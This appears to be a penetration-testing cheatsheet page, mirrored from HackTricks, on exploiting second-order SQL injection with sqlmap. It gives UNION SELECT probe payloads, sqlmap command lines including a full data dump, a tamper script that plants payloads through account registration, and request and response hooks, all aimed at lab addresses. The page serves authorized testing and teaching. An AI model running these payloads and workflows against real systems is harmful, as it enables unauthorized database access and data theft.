daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

second-order-injection-sqlmap.md (9657B)


      1 ---
      2 title: "Second-Order Injection with sqlmap"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Second-Order Injection with sqlmap
     14 
     15 **sqlmap can exploit second-order SQL injections.**\
     16 You need to provide:
     17 
     18 - The **request** where the **SQL injection payload** is going to be saved
     19 - The **request** where the **payload** will be **executed**
     20 
     21 The request where the SQL injection payload is saved is **indicated as in any other injection in sqlmap**. The request **where sqlmap can read the output/execution** of the injection can be indicated with `--second-url` or with `--second-req` if you need to indicate a complete request from a file.<sup>[[2]](#references)</sup>
     22 
     23 **Simple second-order example:**
     24 
     25 ```bash
     26 #Get the SQL payload execution with a GET to a url
     27 sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
     28 
     29 #Get the SQL payload execution sending a custom request from a file
     30 sqlmap -r login.txt -p username --second-req details.txt
     31 ```
     32 
     33 ## Finding and confirming the delayed sink
     34 
     35 Do not stop testing when the request that stores a value succeeds. Create a record containing an unmatched delimiter such as `'`, then visit every view, export, moderation, or details endpoint that later consumes that record. If the value remains stored but one of those consumers returns an SQL error, truncates its HTML where the record should be rendered, or otherwise fails, the vulnerable query is probably in that second processing step.<sup>[[3]](#references)</sup>
     36 
     37 For a reflected `UNION` sink, increment the number of selected markers until the delayed page renders again, then replace markers individually with functions such as `version()` or `user()` to locate reflected columns. This confirmation must be repeated through the full **store → retrieve → execute** flow for every payload attempt.<sup>[[3]](#references)</sup>
     38 
     39 ```sql
     40 ' UNION SELECT 1,2,3-- -
     41 ' UNION SELECT 1,2,3,4,5-- -
     42 ' UNION SELECT version(),user(),3,4,5-- -
     43 ```
     44 
     45 ## When the storage response redirects to the sink
     46 
     47 Sometimes the storage `POST` returns a redirect whose `Location` is the newly created record, and that destination immediately evaluates the stored value. In that specific flow, sqlmap can observe the second-order result by following the per-attempt redirect, so a fixed `--second-url` or `--second-req` is not required. Save a benign authenticated storage request and target the stored parameter; if the `UNION` technique is already known, restricting the test reduces noise.<sup>[[3]](#references)</sup>
     48 
     49 ```bash
     50 sqlmap -r create.req -p stored_parameter --technique U
     51 ```
     52 
     53 When prompted, **follow the redirect**, but answer **no** to resending the original POST body if the destination is a GET-only details page. This makes sqlmap request the generated `Location` as the consumer request instead of replaying the creation body against it. A negative basic heuristic is not decisive here because the first response only stores the payload; let the selected technique test the redirected response.<sup>[[3]](#references)</sup>
     54 
     55 If the redirect does not reach the actual consumer, the record requires another action, or the trigger URL is not returned dynamically, fall back to `--second-url`, `--second-req`, or a helper script for the extra state transitions.<sup>[[1]](#references)[[3]](#references)</sup>
     56 
     57 In several cases **this won't be enough** because you will need to **perform other actions** apart from sending the payload and accessing a different page.
     58 
     59 When this is needed, you can use a **sqlmap tamper script**. For example, the following script registers a new user **using the sqlmap payload as the email address** and then logs out.
     60 
     61 ```python
     62 #!/usr/bin/env python
     63 
     64 import re
     65 import requests
     66 from lib.core.enums import PRIORITY
     67 __priority__ = PRIORITY.NORMAL
     68 
     69 def dependencies():
     70     pass
     71 
     72 def login_account(payload):
     73     proxies = {'http':'http://127.0.0.1:8080'}
     74     cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
     75 
     76     params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
     77     url = "http://10.10.10.10/create.php"
     78     pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
     79 
     80     url = "http://10.10.10.10/exit.php"
     81     pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
     82 
     83 def tamper(payload, **kwargs):
     84     headers = kwargs.get("headers", {})
     85     login_account(payload)
     86     return payload
     87 ```
     88 
     89 A **sqlmap tamper function runs for each payload transformation attempt and must return a payload**. In this case the auxiliary requests matter, so the function returns the payload unchanged.<sup>[[1]](#references)</sup>
     90 
     91 So, if for some reason we need a more complex flow to exploit the second order SQL injection like:
     92 
     93 - Create an account with the SQLi payload inside the "email" field
     94 - Logout
     95 - Login with that account (login.txt)
     96 - Send a request to execute the SQL injection (second.txt)
     97 
     98 **This sqlmap line will help:**
     99 
    100 ```bash
    101 sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
    102 ##########
    103 # --tamper tamper.py : Executes the tamper for each SQL injection payload
    104 # -r login.txt : Indicates the request to send the SQLi payload
    105 # -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
    106 # --second-req second.txt : Request that executes the SQLi and returns the output
    107 # --proxy http://127.0.0.1:8080 : Use this proxy
    108 # --technique=U : Help sqlmap indicating the technique to use
    109 # --dbms mysql : Help sqlmap indicating the dbms
    110 # --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
    111 # --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
    112 # -a : Retrieve everything; use only when the engagement scope permits it
    113 ```
    114 
    115 ## Useful switches in real second-order flows
    116 
    117 Second-order automation usually fails because the **payload storage request works**, but the **execution request is noisy, stateful, or protected**. When that happens, the following flags are usually more useful than adding more payloads:<sup>[[1]](#references)</sup>
    118 
    119 ```bash
    120 sqlmap -r login.txt -p email \
    121   --second-req second.txt \
    122   --csrf-token csrf \
    123   --csrf-url https://target.tld/profile \
    124   --csrf-method POST \
    125   --live-cookies cookies.txt \
    126   --safe-req keepalive.txt \
    127   --safe-freq 1 \
    128   --string "Welcome back" \
    129   --text-only
    130 ```
    131 
    132 - `--csrf-token`, `--csrf-url`, `--csrf-method`: Useful when the store or trigger request needs a fresh anti-CSRF token on every attempt.
    133 - `--live-cookies`: Reload cookies before each request. Useful when a browser/Burp macro is refreshing session state in the background.
    134 - `--safe-req` and `--safe-freq`: Keep the workflow alive when the application logs you out or invalidates the session after a few failed probes.
    135 - `--string`, `--not-string`, `--regexp`, `--code`, `--text-only`: Useful when the second-order response contains banners, ads, timestamps, or user-generated junk that makes diffing unstable.
    136 
    137 ## When `--tamper` is not enough
    138 
    139 `tamper.py` is still the easiest way to **register a payload, log out, log in again, and trigger execution**. However, on modern targets it is often cleaner to move some of the logic to **request/response hooks**:<sup>[[1]](#references)</sup>
    140 
    141 - `--preprocess`: Modify the full HTTP request before it is sent. Useful when a second-order flow needs an extra nonce, an extra parameter, or header normalization.
    142 - `--postprocess`: Clean the HTTP response before sqlmap compares it. Useful when the second-order sink is wrapped in dynamic HTML and only a small fragment is stable.
    143 
    144 Example request/response hooks:
    145 
    146 ```python
    147 #!/usr/bin/env python
    148 def preprocess(req):
    149     if req.data:
    150         req.data += b"&preview=1"
    151 ```
    152 
    153 ```python
    154 #!/usr/bin/env python
    155 import re
    156 def postprocess(page, headers=None, code=None):
    157     page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
    158     return page, headers, code
    159 ```
    160 
    161 ## Important limitations
    162 
    163 - Do **not assume** that `--second-req` will replay the same payload inside a `*` placeholder in the second request. If the trigger request also needs the injected value (or a derived version of it), a custom `tamper`, `--preprocess`, or a local proxy is usually required.
    164 - Do **not rely on** `--eval` for the second request. Official usage documents `--eval` for the primary request flow; if the second request also needs per-attempt mutations, handle them inside your helper scripts instead.<sup>[[1]](#references)</sup>
    165 
    166 This pattern is especially useful when the payload is stored in places such as:<sup>[[2]](#references)</sup>
    167 
    168 - Filenames or image metadata that are queried later
    169 - Registration/profile fields later consumed by admin panels
    170 - Sorting/filtering preferences saved server-side and replayed later
    171 - Workflow state that is only executed after a preview, export, or moderation action
    172 
    173 ## References
    174 
    175 - [1] [sqlmap official usage wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage)
    176 - [2] [Second Order SQLi: Automating with sqlmap](https://jlajara.gitlab.io/Second_order_sqli)
    177 - [3] [HTB: Cobblestone](https://0xdf.gitlab.io/2026/08/15/htb-cobblestone.html)